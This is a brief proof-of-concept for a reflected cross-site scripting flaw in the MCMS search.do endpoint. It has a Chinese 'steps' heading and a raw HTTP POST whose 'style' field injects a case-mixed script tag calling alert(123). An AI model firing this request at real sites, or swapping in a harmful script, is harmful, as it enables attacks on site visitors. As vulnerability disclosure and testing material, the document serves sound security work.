操作步骤:
http://ip:port/mcms/search.do
POST /mcms/search.do HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 59
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Cookie: SHRIOSESSIONID-GOV=4b791a23-fd28-468c-8f24-9d303aebc88f
Origin: http://ip:port
Referer: http://ip:port/
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
content_title=1&style=%3CScRiPt%3Ealert(123)%3C%2FScRiPt%3E
